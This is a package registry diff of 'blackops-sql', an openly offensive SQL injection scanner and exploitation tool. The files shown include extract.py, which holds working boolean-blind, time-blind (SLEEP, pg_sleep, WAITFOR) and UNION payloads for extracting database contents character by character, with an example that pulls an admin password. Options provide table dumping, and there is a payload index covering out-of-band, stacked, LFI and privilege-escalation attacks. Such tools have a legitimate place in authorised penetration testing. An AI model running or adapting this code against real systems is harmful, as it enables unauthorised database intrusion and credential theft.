blackops-sql 0.1.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- blackops_sql-0.1.6.dist-info/METADATA +250 -0
- blackops_sql-0.1.6.dist-info/RECORD +29 -0
- blackops_sql-0.1.6.dist-info/WHEEL +4 -0
- blackops_sql-0.1.6.dist-info/entry_points.txt +2 -0
- blackops_sql-0.1.6.dist-info/licenses/LICENSE +661 -0
- blackops_sql-0.1.6.dist-info/licenses/NOTICE +27 -0
- blackopssql/__init__.py +111 -0
- blackopssql/__main__.py +287 -0
- blackopssql/_cli/__init__.py +0 -0
- blackopssql/_cli/args.py +229 -0
- blackopssql/_cli/summary.py +216 -0
- blackopssql/engine/__init__.py +35 -0
- blackopssql/engine/_scanner/__init__.py +0 -0
- blackopssql/engine/_scanner/active/__init__.py +526 -0
- blackopssql/engine/_scanner/active/_helpers.py +301 -0
- blackopssql/engine/_scanner/blind.py +315 -0
- blackopssql/engine/_scanner/extract.py +302 -0
- blackopssql/engine/_scanner/options.py +96 -0
- blackopssql/engine/_scanner/passive.py +86 -0
- blackopssql/engine/_scanner/payloads/__init__.py +80 -0
- blackopssql/engine/_scanner/pipeline.py +547 -0
- blackopssql/engine/_scanner/stacked.py +131 -0
- blackopssql/engine/crawler.py +7 -0
- blackopssql/engine/http/__init__.py +0 -0
- blackopssql/engine/http/injector.py +10 -0
- blackopssql/engine/http/waf_detect.py +51 -0
- blackopssql/engine/log.py +7 -0
- blackopssql/engine/reporter.py +208 -0
- blackopssql/engine/scanner.py +95 -0
|
@@ -0,0 +1,302 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""
|
|
4
|
+
BlackOpsSQL — engine/_scanner/extract.py
|
|
5
|
+
Blind data extraction using SUBSTRING-based boolean queries.
|
|
6
|
+
|
|
7
|
+
This module implements character-by-character data extraction over a
|
|
8
|
+
confirmed boolean-blind or time-blind SQLi vector.
|
|
9
|
+
|
|
10
|
+
Approach (binary search over ASCII ordinal):
|
|
11
|
+
For each character position 1..max_len:
|
|
12
|
+
1. Use a boolean-blind query: ASCII(SUBSTRING(expr, pos, 1)) > mid
|
|
13
|
+
2. Binary search narrows the ordinal range from [32, 126] to a single
|
|
14
|
+
printable ASCII character in at most 7 requests.
|
|
15
|
+
3. If the character ordinal is < 32 (non-printable) or > 126, stop
|
|
16
|
+
extraction — we've hit the end of the string.
|
|
17
|
+
|
|
18
|
+
Supported extraction contexts:
|
|
19
|
+
- Boolean-blind: uses _test_boolean_condition() which reuses the active.py
|
|
20
|
+
_fetch + _diff_score machinery.
|
|
21
|
+
- Time-blind: uses _test_time_condition() via blind.py _timed_fetch.
|
|
22
|
+
|
|
23
|
+
Usage:
|
|
24
|
+
result = extract_value(
|
|
25
|
+
expr="(SELECT password FROM users WHERE username='admin' LIMIT 1)",
|
|
26
|
+
surface=surface, evasions=evasions, opts=opts,
|
|
27
|
+
injector=injector, baseline=baseline,
|
|
28
|
+
mode="boolean", # or "time"
|
|
29
|
+
)
|
|
30
|
+
# result is a string like "s3cr3t!" or "" on failure
|
|
31
|
+
"""
|
|
32
|
+
|
|
33
|
+
from __future__ import annotations
|
|
34
|
+
|
|
35
|
+
import time
|
|
36
|
+
from typing import Any, Dict, List, Optional
|
|
37
|
+
|
|
38
|
+
import re as _re
|
|
39
|
+
|
|
40
|
+
from blackops_payloads.sqli import get_extraction_targets # noqa: F401 (re-exported)
|
|
41
|
+
from ..log import get_logger
|
|
42
|
+
from ..http.injector import Injector
|
|
43
|
+
from ..http.waf_detect import EVASION_NONE
|
|
44
|
+
from .options import ScanOptions
|
|
45
|
+
from .payloads import apply_evasion
|
|
46
|
+
from .active import _fetch, _diff_score, _len_ratio
|
|
47
|
+
from .blind import _timed_fetch
|
|
48
|
+
|
|
49
|
+
logger = get_logger("blackopssql.extract")
|
|
50
|
+
|
|
51
|
+
# Printable ASCII range (space=32 .. tilde=126)
|
|
52
|
+
_ASCII_MIN = 32
|
|
53
|
+
_ASCII_MAX = 126
|
|
54
|
+
|
|
55
|
+
# Stop extraction when we see this many consecutive non-printable / null chars
|
|
56
|
+
_MAX_NONPRINT_STREAK = 2
|
|
57
|
+
|
|
58
|
+
# Maximum characters to extract per expression (safety cap)
|
|
59
|
+
_MAX_EXTRACT_LEN = 256
|
|
60
|
+
|
|
61
|
+
# Diff score threshold: same as active.py boolean likely threshold
|
|
62
|
+
_DIFF_THRESHOLD = 0.10
|
|
63
|
+
_LEN_RATIO_THRESHOLD = 0.02
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
def extract_value(
|
|
67
|
+
expr: str,
|
|
68
|
+
surface: Dict[str, Any],
|
|
69
|
+
evasions: List[str],
|
|
70
|
+
opts: ScanOptions,
|
|
71
|
+
injector: Injector,
|
|
72
|
+
baseline: str,
|
|
73
|
+
mode: str = "boolean",
|
|
74
|
+
) -> str:
|
|
75
|
+
"""
|
|
76
|
+
Extract the string result of SQL *expr* character by character.
|
|
77
|
+
|
|
78
|
+
*mode* must be ``"boolean"`` (uses response diff) or ``"time"``
|
|
79
|
+
(uses response timing). Returns the extracted string, which may be
|
|
80
|
+
empty if extraction fails.
|
|
81
|
+
"""
|
|
82
|
+
dbms = opts.dbms
|
|
83
|
+
evasion = evasions[0] if evasions else EVASION_NONE
|
|
84
|
+
|
|
85
|
+
substr_fn = "SUBSTR" if dbms in ("sqlite", "oracle") else "SUBSTRING"
|
|
86
|
+
ord_fn = "ASCII"
|
|
87
|
+
|
|
88
|
+
url = surface["url"]
|
|
89
|
+
method = surface["method"]
|
|
90
|
+
params = surface["params"]
|
|
91
|
+
param = surface["single_param"]
|
|
92
|
+
json_body = surface.get("json_body", False)
|
|
93
|
+
path_index = surface.get("path_index", 0)
|
|
94
|
+
second_url = getattr(opts, "second_url", "")
|
|
95
|
+
|
|
96
|
+
result_chars: List[str] = []
|
|
97
|
+
nonprint_streak = 0
|
|
98
|
+
|
|
99
|
+
for pos in range(1, _MAX_EXTRACT_LEN + 1):
|
|
100
|
+
ordinal = _binary_search_char(
|
|
101
|
+
expr=expr,
|
|
102
|
+
pos=pos,
|
|
103
|
+
substr_fn=substr_fn,
|
|
104
|
+
ord_fn=ord_fn,
|
|
105
|
+
surface=surface,
|
|
106
|
+
evasion=evasion,
|
|
107
|
+
opts=opts,
|
|
108
|
+
injector=injector,
|
|
109
|
+
baseline=baseline,
|
|
110
|
+
mode=mode,
|
|
111
|
+
)
|
|
112
|
+
if ordinal is None:
|
|
113
|
+
# Could not determine the character — extraction stalled
|
|
114
|
+
logger.debug("extract_value: stalled at pos=%d", pos)
|
|
115
|
+
break
|
|
116
|
+
if ordinal < _ASCII_MIN or ordinal > _ASCII_MAX:
|
|
117
|
+
nonprint_streak += 1
|
|
118
|
+
if nonprint_streak >= _MAX_NONPRINT_STREAK:
|
|
119
|
+
break
|
|
120
|
+
continue
|
|
121
|
+
|
|
122
|
+
nonprint_streak = 0
|
|
123
|
+
ch = chr(ordinal)
|
|
124
|
+
result_chars.append(ch)
|
|
125
|
+
|
|
126
|
+
return "".join(result_chars)
|
|
127
|
+
|
|
128
|
+
|
|
129
|
+
def _binary_search_char(
|
|
130
|
+
expr: str,
|
|
131
|
+
pos: int,
|
|
132
|
+
substr_fn: str,
|
|
133
|
+
ord_fn: str,
|
|
134
|
+
surface: Dict[str, Any],
|
|
135
|
+
evasion: str,
|
|
136
|
+
opts: ScanOptions,
|
|
137
|
+
injector: Injector,
|
|
138
|
+
baseline: str,
|
|
139
|
+
mode: str,
|
|
140
|
+
) -> Optional[int]:
|
|
141
|
+
"""
|
|
142
|
+
Binary-search the ASCII ordinal of the character at *pos* in the result
|
|
143
|
+
of SQL *expr*.
|
|
144
|
+
|
|
145
|
+
Returns the ordinal integer (0–127) or None if the boolean signal is
|
|
146
|
+
unreliable / the DB returned NULL / end of string.
|
|
147
|
+
"""
|
|
148
|
+
url = surface["url"]
|
|
149
|
+
method = surface["method"]
|
|
150
|
+
params = surface["params"]
|
|
151
|
+
param = surface["single_param"]
|
|
152
|
+
json_body = surface.get("json_body", False)
|
|
153
|
+
path_index = surface.get("path_index", 0)
|
|
154
|
+
second_url = getattr(opts, "second_url", "")
|
|
155
|
+
|
|
156
|
+
lo, hi = 0, _ASCII_MAX + 1 # lo=0 so ASCII('')=0 converges to ordinal 1 (end-of-string)
|
|
157
|
+
|
|
158
|
+
while lo + 1 < hi:
|
|
159
|
+
mid = (lo + hi) // 2
|
|
160
|
+
|
|
161
|
+
if mode == "time":
|
|
162
|
+
# Time-blind: if condition is true, the delay fires.
|
|
163
|
+
# Use per-DBMS conditional sleep syntax.
|
|
164
|
+
delay = opts.time_threshold
|
|
165
|
+
_dbms = (opts.dbms or "auto").lower()
|
|
166
|
+
if _dbms in ("postgres", "postgresql"):
|
|
167
|
+
# PostgreSQL: CASE WHEN cond THEN pg_sleep(n) END
|
|
168
|
+
time_true_pl = (
|
|
169
|
+
f"' AND (CASE WHEN ({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid})"
|
|
170
|
+
f" THEN (SELECT 1 FROM pg_sleep({delay})) ELSE 1 END)=1-- -"
|
|
171
|
+
)
|
|
172
|
+
elif _dbms == "mssql":
|
|
173
|
+
# MSSQL: WAITFOR DELAY cannot appear inside a SELECT subquery
|
|
174
|
+
time_true_pl = (
|
|
175
|
+
f"'; IF ({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid})"
|
|
176
|
+
f" WAITFOR DELAY '0:0:{delay}'-- -"
|
|
177
|
+
)
|
|
178
|
+
elif _dbms == "sqlite":
|
|
179
|
+
# SQLite: randomblob-based busy loop to induce delay when condition is true
|
|
180
|
+
time_true_pl = (
|
|
181
|
+
f"' AND (CASE WHEN ({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid})"
|
|
182
|
+
f" THEN (SELECT COUNT(*) FROM (WITH RECURSIVE r(x) AS"
|
|
183
|
+
f" (SELECT 1 UNION ALL SELECT x+1 FROM r WHERE x<1000000) SELECT x FROM r)) ELSE 1 END)=1-- -"
|
|
184
|
+
)
|
|
185
|
+
else:
|
|
186
|
+
# MySQL / MariaDB / auto: OR scalar subquery avoids the missing-row issue of time-based conditions
|
|
187
|
+
time_true_pl = (
|
|
188
|
+
f"' OR (SELECT IF({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid}"
|
|
189
|
+
f",SLEEP({delay}),0))-- -"
|
|
190
|
+
)
|
|
191
|
+
time_true_pl = apply_evasion(time_true_pl, evasion)
|
|
192
|
+
elapsed = _timed_fetch(
|
|
193
|
+
injector, url, method, params, param, time_true_pl,
|
|
194
|
+
second_url=second_url, json_body=json_body, path_index=path_index,
|
|
195
|
+
)
|
|
196
|
+
if elapsed is None:
|
|
197
|
+
return None
|
|
198
|
+
condition_true = elapsed >= opts.time_threshold
|
|
199
|
+
else:
|
|
200
|
+
# Boolean-blind: OR-based single probe compared against baseline.
|
|
201
|
+
probe_payload = f"' OR {ord_fn}({substr_fn}(({expr}),{pos},1))>{mid}-- -"
|
|
202
|
+
probe_pl = apply_evasion(probe_payload, evasion)
|
|
203
|
+
|
|
204
|
+
resp_probe = _fetch(injector, url, method, params, param, probe_pl,
|
|
205
|
+
second_url=second_url, json_body=json_body,
|
|
206
|
+
path_index=path_index)
|
|
207
|
+
if resp_probe is None:
|
|
208
|
+
return None
|
|
209
|
+
|
|
210
|
+
score = _diff_score(resp_probe, baseline)
|
|
211
|
+
len_r = _len_ratio(resp_probe, baseline)
|
|
212
|
+
condition_true = score >= _DIFF_THRESHOLD or len_r >= _LEN_RATIO_THRESHOLD
|
|
213
|
+
|
|
214
|
+
if condition_true:
|
|
215
|
+
lo = mid # ordinal > mid, so search upper half
|
|
216
|
+
else:
|
|
217
|
+
hi = mid # ordinal <= mid, so search lower half
|
|
218
|
+
|
|
219
|
+
ordinal = lo + 1
|
|
220
|
+
if ordinal < _ASCII_MIN or ordinal > _ASCII_MAX:
|
|
221
|
+
return ordinal # caller handles out-of-range (end of string / NULL)
|
|
222
|
+
return ordinal
|
|
223
|
+
|
|
224
|
+
|
|
225
|
+
_UNION_PREFIX = "BSQL_OUT_"
|
|
226
|
+
_UNION_SUFFIX = "_BSQL_END"
|
|
227
|
+
_MARKER_RE = _re.compile(r"'BreachSQL_[^']*'")
|
|
228
|
+
|
|
229
|
+
|
|
230
|
+
def extract_via_union(
|
|
231
|
+
expr: str,
|
|
232
|
+
union_finding,
|
|
233
|
+
surface: Dict[str, Any],
|
|
234
|
+
evasions: List[str],
|
|
235
|
+
opts: ScanOptions,
|
|
236
|
+
injector: Injector,
|
|
237
|
+
) -> str:
|
|
238
|
+
"""
|
|
239
|
+
Extract a single SQL expression using a confirmed UNION injection.
|
|
240
|
+
One request per expression — no binary search needed.
|
|
241
|
+
"""
|
|
242
|
+
evasion = evasions[0] if evasions else EVASION_NONE
|
|
243
|
+
dbms = (opts.dbms or "auto").lower()
|
|
244
|
+
|
|
245
|
+
if dbms in ("sqlite", "postgres", "postgresql", "oracle"):
|
|
246
|
+
cast = f"CAST(({expr}) AS TEXT)"
|
|
247
|
+
concat = f"'{_UNION_PREFIX}'||{cast}||'{_UNION_SUFFIX}'"
|
|
248
|
+
concat_candidates = [concat]
|
|
249
|
+
elif dbms == "mssql":
|
|
250
|
+
cast = f"CAST(({expr}) AS NVARCHAR(MAX))"
|
|
251
|
+
concat = f"'{_UNION_PREFIX}'+{cast}+'{_UNION_SUFFIX}'"
|
|
252
|
+
concat_candidates = [concat]
|
|
253
|
+
elif dbms == "auto":
|
|
254
|
+
# Try pipe concat first (SQLite / PostgreSQL / Oracle), then CONCAT (MySQL / MariaDB)
|
|
255
|
+
cast_text = f"CAST(({expr}) AS TEXT)"
|
|
256
|
+
cast_char = f"CAST(({expr}) AS CHAR)"
|
|
257
|
+
concat_candidates = [
|
|
258
|
+
f"'{_UNION_PREFIX}'||{cast_text}||'{_UNION_SUFFIX}'",
|
|
259
|
+
f"CONCAT('{_UNION_PREFIX}',{cast_char},'{_UNION_SUFFIX}')",
|
|
260
|
+
]
|
|
261
|
+
else:
|
|
262
|
+
cast = f"CAST(({expr}) AS CHAR)"
|
|
263
|
+
concat = f"CONCAT('{_UNION_PREFIX}',{cast},'{_UNION_SUFFIX}')"
|
|
264
|
+
concat_candidates = [concat]
|
|
265
|
+
|
|
266
|
+
url = surface["url"]
|
|
267
|
+
method = surface["method"]
|
|
268
|
+
params = surface["params"]
|
|
269
|
+
param = surface["single_param"]
|
|
270
|
+
json_body = surface.get("json_body", False)
|
|
271
|
+
path_index = surface.get("path_index", 0)
|
|
272
|
+
second_url = getattr(opts, "second_url", "")
|
|
273
|
+
|
|
274
|
+
_pat = _re.compile(
|
|
275
|
+
_re.escape(_UNION_PREFIX) + r"(.*?)" + _re.escape(_UNION_SUFFIX),
|
|
276
|
+
_re.DOTALL,
|
|
277
|
+
)
|
|
278
|
+
|
|
279
|
+
for concat in concat_candidates:
|
|
280
|
+
new_payload = _MARKER_RE.sub(concat, union_finding.payload, count=1)
|
|
281
|
+
if new_payload == union_finding.payload:
|
|
282
|
+
return ""
|
|
283
|
+
|
|
284
|
+
new_payload = apply_evasion(new_payload, evasion)
|
|
285
|
+
resp = _fetch(injector, url, method, params, param, new_payload,
|
|
286
|
+
second_url=second_url, json_body=json_body, path_index=path_index)
|
|
287
|
+
if not resp:
|
|
288
|
+
continue
|
|
289
|
+
|
|
290
|
+
# Search tag-stripped text. Skip matches where UNION+SELECT appear in the
|
|
291
|
+
# 200 chars before BSQL_OUT_ — that signals a reflected-payload echo (e.g.
|
|
292
|
+
# "Results for: ...UNION SELECT...'BSQL_OUT_'||expr||'_BSQL_END',...") rather
|
|
293
|
+
# than actual SQL output.
|
|
294
|
+
text_content = _re.sub(r"<[^>]+>", "", resp)
|
|
295
|
+
clean_lower = text_content.lower()
|
|
296
|
+
for m in _pat.finditer(text_content):
|
|
297
|
+
before = clean_lower[max(0, m.start() - 200):m.start()]
|
|
298
|
+
if "union" in before and "select" in before:
|
|
299
|
+
continue
|
|
300
|
+
return m.group(1)
|
|
301
|
+
|
|
302
|
+
return ""
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""Scan configuration for BlackOpsSQL."""
|
|
4
|
+
|
|
5
|
+
from __future__ import annotations
|
|
6
|
+
|
|
7
|
+
import warnings
|
|
8
|
+
from typing import Any
|
|
9
|
+
|
|
10
|
+
_VALID_TECHNIQUE_CHARS = frozenset("EBTUSO")
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
class ScanOptions:
|
|
14
|
+
def __init__(
|
|
15
|
+
self,
|
|
16
|
+
# Shared
|
|
17
|
+
crawl: bool = False,
|
|
18
|
+
data: str = "",
|
|
19
|
+
headers: dict[str, str] | None = None,
|
|
20
|
+
cookies: str = "",
|
|
21
|
+
proxy: str = "",
|
|
22
|
+
threads: int = 5,
|
|
23
|
+
timeout: int = 15,
|
|
24
|
+
level: int = 1,
|
|
25
|
+
max_pages: int = 100,
|
|
26
|
+
max_depth: int = 3,
|
|
27
|
+
delay: float = 0.0,
|
|
28
|
+
output: str = "",
|
|
29
|
+
exclude_patterns: list[Any] | None = None,
|
|
30
|
+
# SQLi-specific
|
|
31
|
+
dbms: str = "auto", # auto|mysql|mssql|postgres|sqlite
|
|
32
|
+
technique: str = "EBTUO", # E B T U O
|
|
33
|
+
oob_callback: str = "",
|
|
34
|
+
time_threshold: int = 4, # seconds
|
|
35
|
+
risk: int = 1, # 1-3
|
|
36
|
+
second_url: str = "", # read response from different URL
|
|
37
|
+
max_union_cols: int = 20, # max columns to probe in UNION detection
|
|
38
|
+
path_params: list[str] | None = None, # path segment names to inject
|
|
39
|
+
cookie_params: list[str] | None = None, # cookie names to inject into
|
|
40
|
+
header_params: list[str] | None = None, # HTTP header names to inject into
|
|
41
|
+
exploit: bool = False, # extract version/user/db/tables after scan
|
|
42
|
+
dump: str = "", # table name to dump rows from
|
|
43
|
+
dump_all: bool = False, # dump every discovered table
|
|
44
|
+
) -> None:
|
|
45
|
+
# Shared
|
|
46
|
+
self.crawl = crawl
|
|
47
|
+
self.data = data.strip()
|
|
48
|
+
self.headers = headers or {}
|
|
49
|
+
self.cookies = cookies.strip()
|
|
50
|
+
self.proxy = proxy.strip()
|
|
51
|
+
self.threads = max(1, min(threads, 20))
|
|
52
|
+
self.timeout = max(5, min(timeout, 120))
|
|
53
|
+
self.level = max(1, min(level, 3))
|
|
54
|
+
self.max_pages = max_pages
|
|
55
|
+
self.max_depth = max_depth
|
|
56
|
+
self.delay = max(0.0, delay)
|
|
57
|
+
self.output = output.strip()
|
|
58
|
+
self.exclude_patterns: list[Any] = exclude_patterns or []
|
|
59
|
+
# SQLi-specific
|
|
60
|
+
self.dbms = dbms.lower().strip()
|
|
61
|
+
technique_upper = technique.upper()
|
|
62
|
+
unknown_chars = set(technique_upper) - _VALID_TECHNIQUE_CHARS
|
|
63
|
+
if unknown_chars:
|
|
64
|
+
warnings.warn(
|
|
65
|
+
f"Unknown technique letter(s) ignored: {''.join(sorted(unknown_chars))}. "
|
|
66
|
+
f"Valid letters are: E B T U S O",
|
|
67
|
+
UserWarning,
|
|
68
|
+
stacklevel=2,
|
|
69
|
+
)
|
|
70
|
+
# Keep only valid letters, preserving the original order
|
|
71
|
+
self.technique = "".join(c for c in technique_upper if c in _VALID_TECHNIQUE_CHARS)
|
|
72
|
+
self.oob_callback = oob_callback.strip()
|
|
73
|
+
self.time_threshold = max(1, min(time_threshold, 30))
|
|
74
|
+
self.risk = max(1, min(risk, 3))
|
|
75
|
+
self.second_url = second_url.strip() # if set, read responses from here
|
|
76
|
+
self.max_union_cols = max(1, min(max_union_cols, 100))
|
|
77
|
+
self.path_params = path_params or []
|
|
78
|
+
self.cookie_params = cookie_params or []
|
|
79
|
+
self.header_params = header_params or []
|
|
80
|
+
self.exploit = exploit
|
|
81
|
+
self.dump = dump.strip()
|
|
82
|
+
self.dump_all = dump_all
|
|
83
|
+
|
|
84
|
+
# Convenience: check which techniques are enabled
|
|
85
|
+
@property
|
|
86
|
+
def use_error(self) -> bool: return "E" in self.technique
|
|
87
|
+
@property
|
|
88
|
+
def use_boolean(self) -> bool: return "B" in self.technique
|
|
89
|
+
@property
|
|
90
|
+
def use_time(self) -> bool: return "T" in self.technique
|
|
91
|
+
@property
|
|
92
|
+
def use_union(self) -> bool: return "U" in self.technique
|
|
93
|
+
@property
|
|
94
|
+
def use_stacked(self) -> bool: return "S" in self.technique
|
|
95
|
+
@property
|
|
96
|
+
def use_oob(self) -> bool: return "O" in self.technique and bool(self.oob_callback)
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""
|
|
4
|
+
BlackOpsSQL — engine/_scanner/passive.py
|
|
5
|
+
Fetch the seed page and run passive header/config checks.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
from typing import Optional
|
|
11
|
+
|
|
12
|
+
import requests
|
|
13
|
+
|
|
14
|
+
from ..log import get_logger
|
|
15
|
+
from ..http.injector import Injector
|
|
16
|
+
from ..reporter import ScanResult
|
|
17
|
+
|
|
18
|
+
logger = get_logger("blackopssql.passive")
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
def fetch_seed(injector: Injector, url: str) -> Optional[requests.Response]:
|
|
22
|
+
"""Fetch the target URL once for passive checks and DOM source."""
|
|
23
|
+
try:
|
|
24
|
+
resp = injector.get(url)
|
|
25
|
+
logger.debug("Seed fetch %s → %d (%d bytes)", url, resp.status_code, len(resp.text))
|
|
26
|
+
return resp
|
|
27
|
+
except Exception as exc:
|
|
28
|
+
logger.warning("Seed fetch failed for %s: %s", url, exc)
|
|
29
|
+
return None
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def run_passive_checks(
|
|
33
|
+
url: str,
|
|
34
|
+
seed_resp: Optional[requests.Response],
|
|
35
|
+
injector: Injector,
|
|
36
|
+
result: ScanResult,
|
|
37
|
+
) -> None:
|
|
38
|
+
"""
|
|
39
|
+
Lightweight passive checks relevant to SQLi context.
|
|
40
|
+
Currently checks for verbose error disclosure in the default response
|
|
41
|
+
and notes interesting headers (X-Powered-By, Server) for DBMS hints.
|
|
42
|
+
"""
|
|
43
|
+
if seed_resp is None:
|
|
44
|
+
return
|
|
45
|
+
|
|
46
|
+
_check_error_disclosure(url, seed_resp, result)
|
|
47
|
+
_check_interesting_headers(url, seed_resp, result)
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
def _check_error_disclosure(url: str, resp, result: ScanResult) -> None:
|
|
51
|
+
"""Log a warning if the default response already contains a DB error."""
|
|
52
|
+
from .active import _detect_db_error # avoid circular import at module level
|
|
53
|
+
dbms, evidence = _detect_db_error(resp.text)
|
|
54
|
+
if dbms:
|
|
55
|
+
msg = f"Passive: DB error visible in default response [{dbms}] — {evidence[:80]}"
|
|
56
|
+
logger.warning(msg)
|
|
57
|
+
result.append_log(msg)
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
def _check_interesting_headers(url: str, resp, result: ScanResult) -> None:
|
|
61
|
+
"""Log headers that hint at the backend technology / DBMS."""
|
|
62
|
+
interesting = {
|
|
63
|
+
"x-powered-by": "tech hint",
|
|
64
|
+
"server": "server hint",
|
|
65
|
+
"x-aspnet-version": "ASP.NET — likely MSSQL",
|
|
66
|
+
"x-aspnetmvc-version": "ASP.NET MVC — likely MSSQL",
|
|
67
|
+
}
|
|
68
|
+
for hdr, note in interesting.items():
|
|
69
|
+
val = resp.headers.get(hdr, "")
|
|
70
|
+
if val:
|
|
71
|
+
msg = f"Passive header [{hdr}: {val}] ({note})"
|
|
72
|
+
logger.debug(msg)
|
|
73
|
+
result.append_log(msg)
|
|
74
|
+
# Auto-hint DBMS — only set when the header gives a strong signal
|
|
75
|
+
if result.dbms_detected is None:
|
|
76
|
+
val_lower = val.lower()
|
|
77
|
+
hdr_lower = hdr.lower()
|
|
78
|
+
if "mysql" in val_lower or "mariadb" in val_lower:
|
|
79
|
+
result.dbms_detected = "mysql"
|
|
80
|
+
elif (
|
|
81
|
+
"asp" in val_lower or "iis" in val_lower or "mssql" in val_lower
|
|
82
|
+
or hdr_lower in ("x-aspnet-version", "x-aspnetmvc-version")
|
|
83
|
+
):
|
|
84
|
+
result.dbms_detected = "mssql"
|
|
85
|
+
elif "postgres" in val_lower or "pgsql" in val_lower:
|
|
86
|
+
result.dbms_detected = "postgres"
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""BlackOpsSQL — SQL injection payloads"""
|
|
4
|
+
|
|
5
|
+
from blackops_payloads.sqli import (
|
|
6
|
+
ERROR_PAYLOADS,
|
|
7
|
+
DB_ERROR_PATTERNS,
|
|
8
|
+
get_error_payloads,
|
|
9
|
+
BOOLEAN_PAIRS,
|
|
10
|
+
BOOLEAN_PAIRS_RISK2,
|
|
11
|
+
get_boolean_pairs,
|
|
12
|
+
TIME_PAYLOADS,
|
|
13
|
+
get_time_payloads,
|
|
14
|
+
CONCAT_PAYLOADS,
|
|
15
|
+
SUBSTRING_PROBES,
|
|
16
|
+
make_marker,
|
|
17
|
+
get_concat_payloads,
|
|
18
|
+
get_substring_probes,
|
|
19
|
+
make_substring_payload,
|
|
20
|
+
order_by_probes,
|
|
21
|
+
union_null_probes,
|
|
22
|
+
OOB_PAYLOADS,
|
|
23
|
+
get_oob_payloads,
|
|
24
|
+
DB_CONTENTS_PAYLOADS,
|
|
25
|
+
get_db_contents_payloads,
|
|
26
|
+
STACKED_PAYLOADS,
|
|
27
|
+
get_stacked_payloads,
|
|
28
|
+
DIOS_PAYLOADS,
|
|
29
|
+
get_dios_payloads,
|
|
30
|
+
LFI_PAYLOADS,
|
|
31
|
+
get_lfi_payloads,
|
|
32
|
+
PRIVESC_PAYLOADS,
|
|
33
|
+
get_privesc_payloads,
|
|
34
|
+
ENUM_PAYLOADS,
|
|
35
|
+
get_enum_payloads,
|
|
36
|
+
)
|
|
37
|
+
from blackops_payloads.sqli.union import BREACH_MARKER_PREFIX
|
|
38
|
+
from blackops_payloads.encoders import apply_evasion
|
|
39
|
+
|
|
40
|
+
__all__ = [
|
|
41
|
+
# error
|
|
42
|
+
"ERROR_PAYLOADS",
|
|
43
|
+
"DB_ERROR_PATTERNS",
|
|
44
|
+
"get_error_payloads",
|
|
45
|
+
# boolean
|
|
46
|
+
"BOOLEAN_PAIRS",
|
|
47
|
+
"BOOLEAN_PAIRS_RISK2",
|
|
48
|
+
"get_boolean_pairs",
|
|
49
|
+
# time
|
|
50
|
+
"TIME_PAYLOADS",
|
|
51
|
+
"get_time_payloads",
|
|
52
|
+
# union / markers
|
|
53
|
+
"BREACH_MARKER_PREFIX",
|
|
54
|
+
"make_marker",
|
|
55
|
+
"CONCAT_PAYLOADS",
|
|
56
|
+
"SUBSTRING_PROBES",
|
|
57
|
+
"get_concat_payloads",
|
|
58
|
+
"get_substring_probes",
|
|
59
|
+
"make_substring_payload",
|
|
60
|
+
"order_by_probes",
|
|
61
|
+
"union_null_probes",
|
|
62
|
+
# oob
|
|
63
|
+
"OOB_PAYLOADS",
|
|
64
|
+
"get_oob_payloads",
|
|
65
|
+
# advanced
|
|
66
|
+
"DB_CONTENTS_PAYLOADS",
|
|
67
|
+
"get_db_contents_payloads",
|
|
68
|
+
"STACKED_PAYLOADS",
|
|
69
|
+
"get_stacked_payloads",
|
|
70
|
+
"DIOS_PAYLOADS",
|
|
71
|
+
"get_dios_payloads",
|
|
72
|
+
"LFI_PAYLOADS",
|
|
73
|
+
"get_lfi_payloads",
|
|
74
|
+
"PRIVESC_PAYLOADS",
|
|
75
|
+
"get_privesc_payloads",
|
|
76
|
+
"ENUM_PAYLOADS",
|
|
77
|
+
"get_enum_payloads",
|
|
78
|
+
# evasion
|
|
79
|
+
"apply_evasion",
|
|
80
|
+
]
|